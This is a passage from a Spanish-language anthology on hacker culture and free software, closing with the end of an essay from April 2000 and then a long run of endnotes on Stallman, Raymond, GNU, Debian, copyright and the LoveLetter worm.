esencia	 de	 nuestra	 humanidad.	A	 la	 larga,	 es	 debido	 a	 nuestra	 gran	 capacidad	para
cuidar	y	proteger	que	todavía	soy	optimista	de	que	confrontaremos	con	los	peligrosos
temas	que	tenemos	por	delante.

Mi	expectativa	inmediata	es	la	de	participar	en	una	discusión	mucho	más	amplia
sobre	 los	 temas	 tratados	 aquí,	 con	 gente	 proveniente	 de	 diversas	 prácticas,	 con	 un
programa	que	no	 se	predisponga	a	 temer	o	 favorecer	 a	 la	 tecnología	por	 su	misma
razón	de	ser.

Para	empezar,	he	presentado	dos	veces	estos	temas	en	eventos	organizados	por	el
Aspen	 Institute	 y	 además	 he	 propuesto	 que	 la	 Academia	 Americana	 de	 Artes	 y
Ciencias	 los	 tome	 como	una	 extensión	de	 su	 trabajo	 en	 las	Conferencias	Pugwash.
(Éstas	se	han	realizado	desde	1957	para	discutir	el	control	de	armas,	en	especial	de
armas	nucleares,	y	para	formular	políticas	viables).

Es	una	lástima	que	los	encuentros	Pugwash	empezaran	recién	cuando	el	genio	ya
hubiera	 salido	 hace	 bastante	 de	 la	 botella	 unos	 15	 años	 tarde.	 Nosotros	 también
estamos	teniendo	una	salida	retardada	para	confrontar	con	los	temas	de	la	tecnología
del	siglo	XXI	—la	prevención	de	la	destrucción	masiva	habilitada	por	el	conocimiento
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—,	y	mayores	retrasos	se	tornan	inaceptables.
Así	 que	 todavía	 estoy	 investigando;	 hay	 muchas	 más	 cosas	 para	 aprender.

Vayamos	a	tener	éxito	o	a	fracasar;	vayamos	a	sobrevivir	o	a	caer	víctimas	de	estas
tecnologías,	no	está	decidido	todavía.	Me	quedé	despierto	hasta	tarde	otra	vez	—son
casi	las	6	a.m.—	Estoy	tratando	de	imaginar	mejores	respuestas,	de	romper	el	hechizo
y	liberarlas	de	la	piedra.

Abril,	2000
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[1]	Sistema	operativo	del	que	deriva	Linux.	<<
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[2]	En	http://www.sindominio.net/biblioweb/telematica/command_es.	<<
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[3]	 La	 ética	 de	 los	 hackers	 y	 el	 espíritu	 de	 la	 era	 de	 la	 información.	 Barcelona,
Destino,	2002	(hay	reimpresión	argentina).	<<
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[4]	«Short	history	of	Internet».	Traducción	de	Antonio	Montesinos	<<
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[5]	«Brief	History	of	Hackerdom».	Traducción	de	Carlos	Gradin	<<
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[6]	 La	 primera	 computadora	 fabricada	 en	 1945	 en	 la	Universidad	 de	 Pennsylvania,
Estados	Unidos.	Ocupaba	una	habitación	y	pesaba	treinta	toneladas.	(N.	del	T.)	<<
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[7]	 La	 época	 de	 las	 computadoras	 que	 sólo	 podían	 procesar	 información	 y	 no
interactuaban	con	los	usuarios	en	tiempo	real.	(N.	del	T.)	<<
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[8]	La	Jargon	File	(Archivo	de	Argot,	o	Jerga)	es	una	recopilación	armada	colectiva-
mente	por	hackers	de	términos	que	utilizan	para	hablar	de	su	trabajo,	y	que	también
incluye	historias	y	anécdotas	de	hackers	famosos.	La	cantidad	de	nuevas	expresiones,
metáforas	y	juegos	de	palabras	que	contiene,	descriptas	e	historizadas	con	verdadero
amor	filológico,	podrían	llenar	 las	páginas	de	un	diccionario	mediano.	Su	origen	se
remonta	 a	 principios	 de	 los	 ‘70,	 cumpliendo	 el	 rol	 de	 herencia	 común	 del	 ámbito
hacker.	Su	editor	 actual	 es	Eric	S.	Raymond	http://www.catb.org/~esr/jargon/.
(N.	del	T.)	<<
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[9]	Un	póster	colgado	en	muchos	 laboratorios	de	Computación,	que	parodiaba	a	 los
avisos	de	advertencia	nazis	(ver	Jargon	File).	(N.	del	T.)	<<
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[10]	Minicomputadoras	que	eran	versiones	reducidas	de	las	viejas	centrales,	pero	aún
de	tamaño	considerable,	similar	al	de	una	heladera.	(N.	del	T.)	<<

www.lectulandia.com	-	Página	180



[11]	 O	 sea,	 de	 Recursos	 Compartidos	 como	 otros	 sistemas	 operativos,	 pero	 No-
Compatible,	por	ser	mucho	mejor	que	los	demás.	(N.	del	T.)	<<
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[12]	Lenguaje	de	bajo	nivel,	muy	técnico	y	difícil	de	leer	y	escribir.	(N.	del	T.)

En	español	se	conoce	también	como	ensamblador.	(N.	del	E.D.)	<<
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[13]	El	creador	de	este	programa	fue	Richard	Stallman.	(N.	del	T.)	<<
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[14]	Las	nuevas	computadoras	personales	 (Apple,	PC,	Spectrum,	Commodore,	 etc.).
(N.	del	T.)	<<
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[15]	 Computadoras	 de	 alto	 rendimiento	 orientadas	 a	 funciones	 específicas
(gráficos,cálculos	complejos,	etc.).	(N.	del	T.)	<<
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[16]	El	texto	original	de	un	programa	escrito	por	sus	programadores.	Es	esencial	para
saber	cómo	funciona,	y	aprender	de	él	(N.	del	T.)	<<
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[17]	O	sea,	exento	de	derechos	de	autor	y	con	su	código	fuente	disponible	para	todos,
por	 lo	 que	 se	 permite	 hacer	 copias	 y	 modificarlo.	 Ver	 la	 segunda	 sección	 de	 este
volumen.	(N.	del	T.)	<<
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[18]	El	núcleo	de	instrucciones	más	importantes	de	un	sistema	operativo.	(N.	del	T.)
<<
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[19]	 Internet	 existía	 desde	 fines	 de	 los	 ‘60,	 pero	 los	 protocolos	 para	 páginas	 web
aparecen	a	principios	de	los	‘90.	<<
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[20]	Este	texto	de	Raymond	se	encuentra	en	AA.	VV.,	Open	Sources:	Voices	from	the
open	source	revolution,	 Sebastopol	 (EE.	UU.),	O’Reilly,	 1999	 (versión	 en	 internet:
http://www.oreilly.com/catalog/opensources/book/ray%20mond2.html,	 así
como	también	en	la	edición	ampliada	de	su	The	Cathedral	&	the	Bazaar:	Musings	on
Linux	and	Open	Sourse	by	an	Accidental	Revolutionary.	Sebastopol,	O’Reilly,	2001
(versión	 en	 internet:	 http://www.catb.org/~esr/writings/cathedral-bazaar/).
[hay	trad.	cast.	en	elaboración	de	la	compilación	Open	Sources	en	TLDP-ES/LuCAS
(Hispalinux);	ver	http://es.tldp.org/htmls/proy-opensources.html]	(N.	del	E.)
<<
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[21]	 El	 empeño	 por	 crear	 procesos	 computacionales	 cada	 vez	 más	 mecanizados	 y
«autoconstructivos»	nos	ofrece	algunos	ejemplos	de	esos	 límites,	que	 son	 los	de	 la
lógica.	Gracias	 al	 genial	matemático	Kurt	Gödel,	 se	 conocen	 bien	 algunos	 de	 esos
límites	en	la	noción	de	recursión,	parte	fundamental	de	la	informática	moderna.	Uno
de	ellos	es	la	irresolubilidad	del	«problema	de	la	detención»,	que	consiste	en	decidir,
dado	un	ordenador	arbitrario	provisto	de	un	programa	y	de	unos	datos	arbitrarios,	si
llegará	a	detenerse	o	si	quedará	atrapado	en	un	bucle	infinito.	Otro	es	la	demostración
de	 que	 ningún	 programa	 que	 no	 altere	 el	 sistema	 operativo	 de	 un	 ordenador	 será
capaz	de	detectar	todos	los	programas	que	sí	lo	hagan	(por	ejemplo,	los	virus).	<<
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[22]	 O	 sea,	 basado	 en	 dos	 estados,	 conocidos	 universalmente	 como	 «bits»	 (binary
digits).	La	lógica	binaria	no	es	una	limitación	ontológica	de	las	máquinas,	de	hecho
algunos	de	 los	primeros	ordenadores,	como	el	ENIAC,	operaban	en	base	10.	Si	 los
ordenadores	se	construyen	con	arquitectura	biestable	es	porque	resultan	mucho	más
sencillos	 y	 baratos	 de	 fabricar	 que	 si	 ese	 mismo	 hardware	 estuviese	 obligado	 a
instanciar	diez	estados	distintos.	<<
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[23]	A	lo	largo	de	este	artículo	usaré	el	término	hacker	no	en	el	sentido	más	mediático
y	distorsionado	de	«pirata	 informático»,	sino	en	su	acepción	original,	 tal	y	como	la
define	por	ejemplo	Eric	Raymond:	«Existe	una	comunidad,	una	cultura	compartida,
de	programadores	expertos	y	gurús	de	redes,	cuya	historia	se	puede	rastrear	décadas
atrás,	hasta	las	primeras	minicomputadoras	de	tiempo	compartido	y	los	primigenios
experimentos	de	ARPAnet.	Los	miembros	de	esta	cultura	acuñaron	el	término	hacker.
Los	 hackers	 construyeron	 la	 Internet.	 Los	 hackers	 hicieron	 del	 sistema	 operativo
UNIX	 lo	 que	 es	 en	 la	 actualidad.	 Los	 hackers	 hacen	 andar	USENET.	 Los	 hackers
hacen	que	funcione	la	WWW.	Si	tú	eres	parte	de	esta	cultura,	si	tú	has	contribuido	a
ella	y	otra	gente	te	llama	hacker,	entonces	tú	eres	un	hacker».	<<
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[24]	«Muchos	programadores	están	descontentos	con	la	comercialización	de	software
de	 sistema.	 Esta	 puede	 permitirles	 ganar	más	 dinero,	 pero	 les	 requiere	 sentirse	 en
conflicto	con	otros	programadores	en	general	en	vez	de	sentirse	como	camaradas.	El
acto	fundamental	de	amistad	entre	programadores	es	el	compartir	programas;	ahora
se	 usan	 típicamente	 arreglos	 de	 marketing	 que	 en	 esencia	 prohíben	 a	 los
programadores	 tratar	 a	 otros	 como	 sus	 amigos.	 El	 comprador	 de	 software	 debe
escoger	entre	la	amistad	y	la	obediencia	a	la	ley.	Naturalmente,	muchos	deciden	que
la	 amistad	 es	 más	 importante.	 Pero	 aquellos	 que	 creen	 en	 la	 ley	 a	 menudo	 no	 se
sienten	bien	 con	ninguna	de	 las	dos	opciones.	Se	vuelven	 cínicos	y	piensan	que	 la
programación	 es	 sólo	 otra	 forma	 de	 hacer	 dinero».	 (R.	 Stallman,	 «El	 Manifiesto
GNU»,	1985	[en	http://www.gnu.org/gnu/manifesto.es.html]).	<<
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[25]	«Considero	que	la	regla	de	oro	me	obliga	a	que	si	me	gusta	un	programa	lo	deba
compartir	con	otra	gente	a	quien	le	guste.	Los	vendedores	de	software	quieren	dividir
a	 los	 usuarios	 y	 conquistarlos,	 haciendo	 que	 cada	 usuario	 acuerde	 no	 compartir	 su
software	con	otros.	Yo	me	niego	a	romper	mi	solidaridad	con	otros	usuarios	de	esta
manera.	 No	 puedo	 en	 buena	 conciencia	 firmar	 un	 acuerdo	 de	 no	 divulgación
[nondisclosure	agreement]	o	un	acuerdo	de	licencia	de	software».	(R.	Stallman,	«El
Manifiesto	GNU»)	<<
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[24]	«Extraer	dinero	de	los	usuarios	por	un	programa	con	base	en	la	restricción	del	uso
que	se	le	dé	es	destructivo	porque	las	restricciones	reducen	la	cantidad	y	las	formas
en	 que	 el	 programa	 puede	 ser	 utilizado.	 Esto	 reduce	 la	 cantidad	 de	 riqueza	 que	 la
humanidad	deriva	del	programa.	Cuando	se	opta	deliberadamente	por	 restringir,	 las
consecuencias	dañinas	son	destrucción	deliberada.

»La	 razón	 por	 la	 que	 un	 buen	 ciudadano	 no	 utiliza	 estos	medios	 destructivos	 para
volverse	más	rico	es	que,	si	todos	lo	hicieran,	podríamos	empobrecernos	todos	por	la
destrucción	 mutua.	 Ésta	 es	 ética	 kantiana;	 o	 la	 Regla	 de	 Oro».	 (R.	 Stallman,	 «El
Manifiesto	GNU»)	<<
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[27]	 Esta	 historia	 la	 narra	 con	 detalle	 el	 propio	 Stallman	 en	 «The	 GNU	Operating
System	and	the	Free	Software	Movement»,	en	AA.VV.,	Open	Sources:	Voices	 from
the	open	source	revolution,	Sebastopol	[EE.	UU.],	O’Reilly	&	Associates,	1999	[hay
versión	 en	 internet:	 http://www.sindominio.net/biblioweb/telematica/open-
sources-html/node42.html].	<<
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[28]	Hay	varias	traducciones	no	oficiales	al	castellano	de	la	Licencia	Pública	General
de	GNU,	por	ejemplo	en	http://lucas.hispalinux.es/Otros/gples/gples.html.
Puede	 leerse	 la	 versión	 original	 en	 inglés	 (única	 con	 valor	 legal)	 en
http://www.gnu.org/licenses/gpl.html.	<<
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[29]	http://www.freebsd.org/copyright/.	<<
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[30]	El	Proyecto	Debian	nació	bajo	 los	auspicios	de	 la	Free	Software	Foundation	en
1993,	con	el	objetivo	de	juntar	la	piezas	GNU	y	construir	un	sistema	operativo	libre
completo.	 Hoy	 día	 es	 un	 proyecto	 independiente	 de	 la	 FSF	 pero	 mantiene	 sus
objetivos	 fundacionales,	 lo	 cual	 la	 hace	 totalmente	 singular	 dentro	 de	 las
distribuciones	GNU/Linux:	es	la	única	basada	exclusivamente	en	software	libre	y	es
la	 única	 de	 carácter	 no	 comercial.	 Debian	 se	 mantiene	 y	 desarrolla	 de	 manera
distribuida	mediante	la	cooperación	desinteresada	de	más	de	300	hackers	de	todo	el
mundo	y	dispone	de	una	comunidad	de	miles	de	usuarios	coordinados	a	través	de	más
de	cincuenta	listas	de	correo	públicas	extraordinariamente	activas.	<<
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[31]	http://www.netcraft.com/survey/	<<
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[30]	 Un	 caso	 paradigmático	 ha	 sido	 el	 archifamoso	 gusano	 LoveLetter	 (alias
«Iloveyou»),	 que	 infectó	 a	 varios	millones	 de	 ordenadores	 conectados	 a	 Internet	 a
principios	de	mayo	de	2000.

Con	un	despliegue	a	partes	iguales	de	sensacionalismo	e	ignorancia,	las	portadas	de
los	medios	de	comunicación	de	todo	el	mundo	se	hicieron	eco	de	este	hecho	como	de
un	problema	que	ponía	de	manifiesto	una	supuesta	falta	de	seguridad	de	Internet.	Ni
ellos	ni	ninguno	de	los	autodenominados	expertos	de	empresas	antivirus	señalaron	en
ningún	 caso	 que	 el	 «peligrosísimo	 virus»	 era	 un	 sencillo	 script	 de	 menos	 de	 300
líneas	 escrito	 en	 VisualBasic,	 inocuo	 por	 tanto	 para	 las	 tres	 cuartas	 partes	 de	 los
servidores	de	Internet,	basados	en	sistemas	UNIX.	Para	eludir	toda	responsabilidad,
Microsoft	insistía	en	que	no	se	trataba	de	ningún	error	de	diseño	en	sus	aplicaciones.
De	ese	modo	y	sin	advertirlo,	Microsoft	estaba	reconociendo	 implícitamente	que	el
gusano	 «I	 love	 you»	 no	 explotaba	 agujero	 alguno,	 simplemente	 aprovechaba	 las
facilidades	inherentes	a	la	concepción	de	Windows:	es	pues	Microsoft,	y	no	Internet,
el	que	convierte	 las	PC	caseras	en	absolutamente	 inseguras	y	pone	 los	datos	de	sus
incautos	usuarios	al	alcance	del	más	inexperto	script	kiddy.	<<
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[33]	 http://es.tldp.org/Otros/catedral-bazar/cathedral-es-paper-

00.html#toc1/.	<<

www.lectulandia.com	-	Página	203

http://es.tldp.org/Otros/catedral-bazar/cathedral-es-paper-00.html#toc1/


[34]	Nombre	 desafortunado	 para	 describir	 el	 fenómeno,	 pues	 la	 construcción	 de	 las
catedrales	 góticas	 se	 debía	 a	 los	 compagnons,	 colectivos	 nómadas	 e	 itinerantes	 del
tipo	albañiles,	carpinteros,	herreros,	etc.	que	las	construían	aquí	y	allá,	diseminando
las	 obras,	 sin	 división	 entre	 trabajo	manual	 e	 intelectual	 y	 con	 una	 planificación	 y
construcción	 descentralizada	 y	 autónoma:	 «Al	 plano	 sobre	 el	 suelo	 del	 compagnon
gótico	 se	 opone	 el	 plano	métrico	 sobre	 el	 papel	 del	 arquitecto	 exterior	 a	 la	 obra».
(Gilles	Deleuze	y	Félix	Guattari,	Mil	mesetas,	Valencia,	Pre-Textos,	1988).	Sería	pues
más	 exacto	 denominar	 «modelo	 pirámide»	 o	 «modelo	 rascacielos»	 al	 modelo
jerárquico	y	planificado	que	describe	Raymond	en	su	artículo.	<<
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[35]	 En	 el	 plano	 de	 los	 procesos	 productivos	 y	 de	 las	 formas	 de	 mando	 sobre	 la
cooperación	 social,	 algunas	 corrientes	 de	 pensamiento	 denominan	 posfordismo	 al
conjunto	de	transformaciones	que	a	partir	de	mediados	de	los	años	setenta	conducen	a
la	informatización	de	lo	social,	la	automatización	en	las	fábricas,	el	trabajo	difuso,	la
hegemonía	 creciente	 del	 trabajo	 inmaterial,	 del	 general	 intellect	 y	 del	 llamado
terciario	 (comunicativo,	 cognitivo	 y	 científico,	 performativo,	 afectivo)	 y	 la
globalización	de	los	procesos	productivos.	<<

www.lectulandia.com	-	Página	205



[36]	 En	 los	Grundrisse,	 texto	 que	 prefigura	 nuestra	 época	 con	más	 de	 cien	 años	 de
antelación,	Karl	Marx	recurre	al	término	general	intellect	(o	«intelecto	general»)	para
designar	 el	 conjunto	 de	 los	 conocimientos	 abstractos	 (de	 «paradigmas
epistemológicos»,	diríamos	hoy)	que,	al	mismo	tiempo,	constituyen	el	epicentro	de	la
producción	social	y	organizan	todo	el	contexto	de	la	vida.	Un	«cerebro»	o	intelecto
general,	basado	en	la	cooperación	y	el	saber	abstracto,	incluyendo	el	saber	científico,
que	 tiende	 a	 volverse,	 en	 virtud	 precisamente	 de	 su	 autonomía	 en	 relación	 a	 la
producción,	 ni	 más	 ni	 menos	 que	 la	 principal	 fuerza	 productiva,	 relegando	 a	 una
posición	marginal	al	trabajo	parcelizado	y	repetitivo	de	la	producción	industrial.	<<
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[37]	 «De	 hecho,	 mucha	 gente	 va	 a	 programar	 sin	 absolutamente	 ningún	 incentivo
monetario.	La	programación	tiene	una	fascinación	irresistible	para	algunas	personas,
generalmente	para	las	mejores	en	el	ramo».	(R.	Stallman,	«El	Manifiesto	GNU»).	<<
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[38]	 Ver	 por	 ejemplo	 el	 artículo	 de	 Juan	 Antonio	 Martínez,	 «Software	 libre:	 una
aproximación	desde	la	teoría	de	juegos»,	en	Linux	Actual,	N.º	11.	<<
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[39]	 Los	 creadores	 del	 «dilema	 del	 prisionero»	 lo	 ilustraron	 así:	 dos	 personas
detenidas	 y	 sospechosas	 de	 cometer	 un	 delito	 son	 puestas	 en	 celdas	 separadas	 e
interrogadas.	 Cada	 uno	 es	 invitado	 a	 traicionar	 a	 su	 colega,	 convirtiéndose	 en	 un
arrepentido.	Lo	 que	 suceda	 depende	 de	 lo	 que	 hagan	 ambos	 prisioneros	 y	 ninguno
sabe	lo	que	ha	dicho	el	otro.	Si	los	dos	se	callan	(es	decir,	si	cooperan	entre	sí,	según
la	 teoría	 de	 juegos),	 serán	 condenados	 a	 una	 pena	mínima	 de	 un	 año	 por	 falta	 de
pruebas.	Si	se	denuncian	uno	al	otro	(es	decir,	no	cooperan	entre	sí,	según	la	teoría	de
juegos)	cumplirán	una	pena	de	tres	años.	Pero	si	sólo	uno	denuncia	al	otro,	recibirá
una	 recompensa	 (y	 quedará	 libre),	mientras	 que	 su	 cómplice	 se	 pudrirá	 entre	 rejas
durante	cinco	años.	Ante	este	dilema	—suponiendo	que	ambos	están	motivados	por	el
interés	racional	y	que	no	pueden	hablarse	para	pactar	entre	sí—	parece	que	la	única
opción	racional	es	acusarse	mutuamente	para	minimizar	la	pena	(será	liberado	si	su
cómplice	se	calla	y	cumplirá	tres	años	si	habla;	en	cambio	pueden	caerle	cinco	años	si
calla	y	su	cómplice	habla).	La	opción	más	racional	 les	hará	acusarse	mutuamente	y
recibir	una	pena	mayor.	A	menos	que	el	jugador	sea	un	incauto,	tendrá	que	descartar
la	solución	más	deseable	para	ambos	—la	cooperación	 (o	sea	permanecer	callados)
—.	Este	dilema	sin	salida	ha	vuelto	locos	a	generaciones	de	teóricos	de	juegos,	y	solo
con	una	variante	llamada	el	«dilema	del	prisionero	repetido»,	que	consiste	en	poderlo
jugar	varias	veces	y	observar	el	comportamiento	del	otro,	encontraron	una	condición
de	salida.	<<
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[40]	Ver	la	obra	de	Richard	Dawkins,	El	gen	egoísta,	publicado	en	su	segunda	edición
[en	 inglés]	 en	 1989	 [trad.	 cast.:	 Barcelona,	 Salvat,	 1993].	 Especialmente	 relevante
para	este	asunto	es	el	capítulo	«Los	buenos	chicos	acaban	primero».	<<
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[41]	Juan	Antonio	Martínez,	op.	cit.	<<
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[42]	 «Todas	 las	 confusiones	 y	 parcialidades	 que	 aparecen	 en	 los	 artículos	 de	 Eric
Raymond	son	típicos	de	su	elección	de	la	“política	real”	como	principio	de	actuación
en	 su	 activismo	 en	 pro	 del	 software	 libre.	 Un	 ejemplo	 de	 esta	 elección	 es	 haber
cambiado	con	efectos	retroactivos	en	sus	artículos	y	conferencias	el	término	software
libre	 por	 open	 source.	 No	 discrepo	 de	 la	 noción	 de	 ser	 eficaz	 promoviendo	 el
software	libre.	Pero	me	opongo	a	acciones	que	pueden	resultar	atajos	válidos	a	corto
plazo	y	causar	perjuicios	a	la	larga,	ya	que	en	estos	casos,	en	la	búsqueda	de	un	éxito
puntual,	 se	 opta	 por	 apoyar	 fenómenos	 esencialmente	 erróneos	 en	 lugar	 de
combatirlos».	 (François	 René	 Rideau,	 «Sobre	 los	 artículos	 de	 Eric	 S.	 Raymond»,
1998).	<<
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[43]	«Es	posible	que	a	 largo	plazo	 triunfe	 la	cultura	del	software	 libre,	no	porque	 la
cooperación	 es	 moralmente	 correcta	 o	 porque	 la	 “apropiación”	 del	 software	 es
moralmente	incorrecta	(suponiendo	que	se	crea	realmente	en	esto	último,	lo	cual	no
es	cierto	ni	para	Linus	ni	para	mí),	sino	simplemente	porque	el	mundo	comercial	no
puede	 ganar	 una	 carrera	 de	 armamentos	 evolutiva	 a	 las	 comunidades	 de	 software
libre,	 que	 pueden	 poner	mayores	 órdenes	 de	magnitud	 de	 tiempo	 calificado	 en	 un
problema	que	cualquier	compañía».	(Eric	Raymond,	La	catedral	y	el	bazar).	<<
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[44]	«No	hay	escasez	de	músicos	profesionales	que	sigan	en	lo	suyo	aunque	no	tengan
esperanzas	de	ganarse	la	vida	de	esta	forma.	[…]	Durante	más	de	diez	años,	varios	de
los	mejores	 programadores	 del	mundo	 trabajaron	 en	 el	 Laboratorio	 de	 Inteligencia
Artificial	 [del	MIT]	por	mucho	menos	dinero	del	que	podían	ganar	en	otras	partes.
Ellos	obtenían	varios	tipos	de	premios	no	monetarios:	fama	y	aprecio,	por	ejemplo.	Y
la	creatividad	también	se	disfruta,	es	un	premio	en	sí	mismo».	(Richard	Stallman,	«El
Manifiesto	GNU»).	<<

www.lectulandia.com	-	Página	214



[45]	 «Como	 no	 me	 gustan	 las	 consecuencias	 que	 resultan	 si	 todos	 acapararan
información,	debo	considerar	como	erróneo	que	alguien	lo	haga.	Específicamente,	el
deseo	de	ser	recompensado	por	la	creatividad	de	uno	no	justifica	el	privar	al	mundo
en	 general	 de	 toda	 o	 parte	 de	 esa	 creatividad».	 (Richard	 Stallman,	 «El	Manifiesto
GNU»,	1985).	<<
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[46]	Un	admirado	hacker,	que	coordina	un	estratégico	proyecto	de	software	libre,	me
comentaba	 en	 privado	 recientemente	 que	 hasta	 hace	 un	 año	 se	 levantaba	 por	 la
mañana	y	se	ponía	a	escribir	lo	que	le	apetecía	o	si	no	le	apetecía	no	escribía	nada.
Ahora,	en	su	empresa,	él	sigue	trabajando	con	software	libre	pero	cuando	se	levanta
por	 la	 mañana	 debe	 consultar	 su	 agenda	 y	 ponerse	 a	 escribir	 lo	 que	 le	 piden	 sus
clientes.	Aunque	en	ambos	casos,	antes	y	ahora,	está	produciendo	software	libre,	 la
diferencia	a	su	juicio	es	muy	notable.	<<
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[47]	 Ver	 artículo	 de	 Aris	 Papathéodorou	 y	 Laurent	 Moineau,	 «Coopération	 et
production	immaterielle	dans	le	logiciel	libre»,	en	Multitudes,	N.º	1,	marzo	de	2000
(hay	 versión	 en	 internet:	 http://multitudes.samizdat.net/article.php3?

id_article=212&var_recherche=Papatheodorou/)	[hay	trad.	cast.:	«Cooperación	y
producción	 inmaterial	 en	 el	 software	 libre»,
http://sindominio.net/biblioweb/telematica/cooperacion.html].	<<
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[48]	No	es	solo	una	metáfora:	un	«troyano»,	en	este	contexto,	sería	un	tipo	particular
de	 meme.	 El	 meme	 sería	 la	 idea	 del	 mercado	 como	 motor	 de	 la	 economía	 y
dinamizador	del	software	libre.	En	esa	hipótesis,	el	troyano	incorporado	en	el	meme
lo	«vampiriza»,	se	propaga	con	él,	y	acabaría	reduciendo	el	software	libre	a	una	pieza
más	del	gran	supermercado	global	en	que	se	está	convirtiendo	gran	parte	de	Internet.
<<
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[49]	 «Las	 leyes	 de	 propiedad	 intelectual	 han	 corrompido	 completamente	 las
instituciones	económicas,	ya	que	muchas	corporaciones	dependen	de	un	modo	crucial
del	monopolio	de	la	información,	también	en	el	origen	de	grandes	fortunas,	más	que
de	la	prestación	de	servicios	reales.	No	deben	realizarse	compromisos	con	estas	leyes,
y	 debe	 lucharse	 contra	 su	 justificación,	 habitualmente	 errónea.	 Éste	 es	 el	 principio
fundamental	de	la	filosofía	del	software	libre.	[…]	Es	difícil	luchar	contra	prejuicios
que	sirven	para	justificar	enormes	intereses	financieros,	por	supuesto.	Hace	falta	ser
muy	 estricto	 precisamente	 porque	 la	 tarea	 es	 muy	 dura».	 (François	 René	 Rideau,
«Sobre	los	artículos	de	Eric	S.	Raymond»).	<<
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[50]	Eudald	Carbonell	y	Robert	Sala,	Planeta	humà,	Barcelona,	Empúries,	2000	[hay
trad.	cast.:	Planeta	humano.	Barcelona,	Península,	2000].	<<
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[51]	 «Why	 software	 should	not	have	owners».	Artículo	de	divulgación	del	proyecto
GNU	(http://www.gnu.org).	Traducción	de	Stan	Bark.	Revisión	y	notas	de	Miquel
Vidal	realizada	para	la	revista	Archipiélago,	mayo	de	2001.	<<

www.lectulandia.com	-	Página	221

http://www.gnu.org


[52]	Software	Publisher’s	Association	(Asociación	de	Editores	de	Software).	Al	igual
que	 la	BSA	(Bussiness	Software	Alliance)	—que	se	comporta	en	 términos	estrictos
como	 una	 organización	 parapolicial—	 es	 ya	 legendaria	 la	 beligerancia	 de	 la	 SPA
contra	la	llamada	«piratería»:	ejerce	todo	tipo	de	presiones,	mentiras	y	amenazas	que
luego	sirven	de	modelo	a	aprendices	de	policías	como	la	SGAE	española	invita	a	la
gente	 a	 informar	 sobre	 sus	 compañeros	 y	 amigos,	 y	 promueve	 una	 política	 de
«responsabilización»,	 en	 la	 que	 los	 dueños	 de	 ordenadores	 deben	 hace	 cumplir
activamente	 las	 leyes	 de	 copyright,	 si	 no	 quieren	 ser	 castigados.	 En	 1996	 en	 su
clásico	 «El	 derecho	 a	 leer»	 (en
http://sindominio.net/biblioweb/telematica/derecho_leer.html),	 el	 propio
Stallman	ya	avisaba	de	cómo	la	SPA	estaba	amenazando	a	pequeños	proveedores	de
Internet,	exigiéndoles	que	les	permitieran	espiar	a	sus	usuarios.	Muchos	provee	dores
se	rinden	cuando	les	amenazan,	porque	no	pueden	permitirse	litigar	en	lo	tribunales.
[M.V.]	<<
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[53]	 Evidentemente	 Stallman	 peca	 aquí	 de	 modestia	 pues	 es	 mucho	 más	 que	 un
«notable	 programador»:	 suyas	 son	 algunas	 de	 las	 mejores	 piezas	 de	 software	 hoy
existentes,	como	el	editor	Emacs,	el	compilador	GCC	y	el	depurador	GDB.	[M.V.]	<<
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[54]	Stallman	se	dedicó	extensamente	a	demostrar	esta	idea	—que	el	copyright	es	un
derecho	artificial	que	viene	a	regular	el	derecho	natural	a	la	copia—	en	la	conferencia
que	 ofreció	 en	 julio	 de	 2000	 en	 la	 Universidad	 de	 Burdeos,	 en	 el	 marco	 de	 la
Conferencia	de	Debian,	y	que	llevaba	por	título:	«El	copyright	contra	la	comunidad
en	 la	 era	 de	 las	 redes	 de	 ordenadores».	 Existe	 traducción	 castellana	 en
http://sindominio.net/biblioweb/telematica/stallman-copyright.html.
[M.V]	<<
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[55]	En	inglés,	la	polisemia	del	término	free	obliga	a	insistir	en	este	punto	y	deshacer
la	ambigüedad.	En	castellano	disponemos	de	dos	palabras	libre	y	gratis,	pero	muchas
traducciones	se	encargan	lamentablemente	de	mantener	la	confusión	y	aun	agravarla
al	 traducir	 free	 por	 «gratis»,	 totalmente	 erróneo	 en	 este	 contexto:	 existe	 software
gratuito	 que	 es	 propietario	 (el	 navegador	Microsoft	 Explorer,	 por	 ejemplo)	 y	 nada
impide	 vender	 el	 software	 libre,	 aunque	 ciertamente	 se	 debe	 ofrecer	 algo	 extra
normalmente	en	forma	de	servicios	añadidos	para	que	alguien	compre	algo	que	puede
obtener	 legítimamente	 sin	 pagar	 por	 ello.	 La	 gratuidad	 en	 este	 caso	 es	 una
consecuencia	del	modelo	en	el	que	el	programador	puede	que	haya	cobrado	por	 su
trabajo,	pero	de	ningún	modo	es	lo	que	define	al	software	libre.	[M.V.]	<<
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[56]	 Aunque	 resulte	 chocante	 a	 primera	 vista,	 no	 solo	 programadores	 sino	 algunos
teóricos	consideran	la	programación	«una	de	las	bellas	artes»	(De	la	programmation
considérée	comme	une	des	beaux	arts	es	precisamente	el	título	de	una	obra	de	Pierre
Lévy).	Por	su	parte	Franco	Berardi,	Bifo,	afirma	en	«Lavoro	zero»	[Trabajo	cero]	que
la	 programación	 puede	 ser	 valorada	 no	 solo	 «como	 ejecución	 de	 un	 proyecto
predefinido,	no	como	simple	elaboración	de	los	procedimientos	a	través	de	los	cuales
se	 pone	 en	 funcionamiento	 un	 cierto	 proceso,	 sino	 como	 redefinición	 del	 contexto
mismo	 y	 como	 elaboración	 de	 procedimientos	 afortunados».	 [«Lavoro	 zero»,	 en
DeriveApprodi,	Año	II,	N.º	3-4,	Invierno-primavera	de	1994]	[M.V.]	<<

www.lectulandia.com	-	Página	226



[57]	 El	 Proyecto	GNU	 (acrónimo	 recursivo	 que	 significa	GNU’s	Not	UNIX,	 o	 sea,
«GNU	No	es	UNIX»)	nació	en	1984	de	la	mano	de	Richard	Stallman,	por	entonces
un	hacker	del	 emblemático	Laboratorio	de	 Inteligencia	Artificial	del	Massachusetts
Institute	Technology	(MIT),	cuna	de	grandes	hackers.	El	proyecto	GNU	se	propuso	a
la	 sazón	 una	 tarea	 titánica:	 construir	 un	 sistema	 operativo	 libre	 completo.	 No	 es
sencillo	 expresar	 en	pocas	palabras	 la	 enorme	dificultad	que	comporta	un	proyecto
así,	 en	 principio	 sólo	 al	 alcance	 de	 unas	 cuantas	 compañías	 con	 miles	 de
programadores	a	sueldo.	[M.V.]	<<
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[58]	 Cygnus	 fue	 la	 primera	 empresa	 importante	 que	 trabajó	 con	 software	 libre.	 Sus
aportaciones	 a	 la	 comunidad	 del	 software	 libre	—liberando	 código	 y	manteniendo
herramientas	 críticas	 como	 el	 compilador	 C	 de	 GNU—	 han	 sido	 numerosas	 e
